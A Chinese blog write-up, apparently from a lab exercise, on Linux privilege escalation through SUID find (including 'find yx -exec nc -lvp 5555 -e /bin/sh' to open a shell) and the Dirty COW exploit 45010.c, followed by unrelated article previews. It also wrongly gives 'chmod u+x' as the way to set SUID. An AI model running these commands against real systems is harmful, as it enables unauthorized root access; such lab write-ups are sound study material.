Linux SUID提权脏牛提权

news/2025/3/17 22:27:40/

SUID提权

suid就是set user id  。设置了SUID后,文件启动的时候就会以root的权限去运行。就是一个普通用户运行的时候,因为有SUID,所以用root权限去运行它。

加SUID权限chmod u+x 

这里开始复现。

上传Linux提权信息检测脚本LinEnum

find / -user root -perm -4000 -exec ls -ldb {} \;

这是利用find手动查找有SUID文件的命令

然后我们就要观察文件中是否存在以下文件

这里我直接拿脚本干

SUID Files 还有一个 Possible interserting SUID files

全部的SUID文件和一个可能可以利用的SUID文件

我们就利用find进行SUID提权

利用很简单

创建一个文件

touch yx
find yx -exec whoami \;利用find文件的权限去执行whoami

 

权限root拿到了

然后再用nc反弹一个shell到攻击机,攻击机开启监听

find yx -exec nc -lvp 5555 -e /bin/sh \;

攻击机监听

nc ip port

 

这里不知道啥原因,反弹的shell还是yx

但是用本机的find执行命令可以读取配置文件

2.内核漏洞脏牛提权

这里使用墨者的靶场

连接上来后把漏洞检测的脚本上传至tmp目录运行

 下载下来是个c文件,然后传到目标主机上去

编译一下 

gcc 45010.c -o 45010

 

然后改以下可执行 +x

然后运行

权限为root

 


http://www.ppmy.cn/news/76546.html

相关文章

什么是单点登录

一、什么是单点登录? 单点登录的英文名叫做:Single Sign On(简称SSO)。 在初学/以前的时候,一般我们就单系统,所有的功能都在同一个系统上。 后来,我们为了合理利用资源和降低耦合性&#xff…

hbase相关操作

1.设置hbase的 region的大小 HBase中的Region大小是可以配置的,通过设置HBase表的最小和最大Region大小来控制。一般情况下,Region大小的设置应该根据应用需求和硬件资源进行调整。以下是设置HBase Region大小的方法: 1.1 修改HBase表的最小…

网站开发中如何优化图片资源的加载速度

✨求关注~ 😀博客:www.protaos.com 在网站开发中,优化图片资源的加载速度对于提高用户体验和网站性能至关重要。通过采取一系列的优化措施,可以减少图片的文件大小,改善加载速度,并确保图片在不影响质量的情…

AppJoint2-2023再看安卓组件化框架

零、什么是组件化 为了避免一些小伙伴一脸懵的进来,又一脸懵的出去,我先简单的说一下什么是组件化。 开发程序时,我们都希望功能间的耦合度尽可能的低,这样的好处是:便于并行开发、代码易于维护、出问题时也好定位。…

Android 12 版本变更总览

Android 12 版本 Android 12 总览Android 12 功能和变更列表行为变更:所有应用行为变更:以 Android 12 为目标平台的应用废弃新功能和 API概览微件改进 Intent系统广播 intent(API 级别 31)通用应用 intent(API 级别 3…

AI智能视频技术EasyCVR服务正常启动,日志打印实际无进程该如何解决?

EasyCVR基于云边端协同,可支持海量视频的轻量化接入与汇聚管理。平台既具备传统安防视频监控的能力,比如:视频监控直播、云端录像、云存储、录像检索与回看、智能告警、平台级联、云台控制、语音对讲等,也能接入AI智能分析的能力&…

golang一些做法

1.Golang分布式日志链路追踪 可以通过以下步骤实现: 使用分布式追踪系统(如Zipkin、Jaeger等)来收集日志和追踪信息。 在每个服务中添加追踪代码,以便在服务之间传递追踪信息。这可以通过使用开源库(如OpenTracing&am…

Java企业级开发学习笔记(4.1)Spring Boot入门程序

该文章主要为完成实训任务,详细实现过程及结果见【http://t.csdn.cn/Qh554】 文章目录 一、使用Maven方式构建Spring Boot项目1.1 创建Maven项目1.2 添加依赖1.3 创建入口类1.4 创建控制器1.5 运行入口类1.6 访问Web页面1.7 修改访问映射路径1.8 定制启动标语1.8.1 …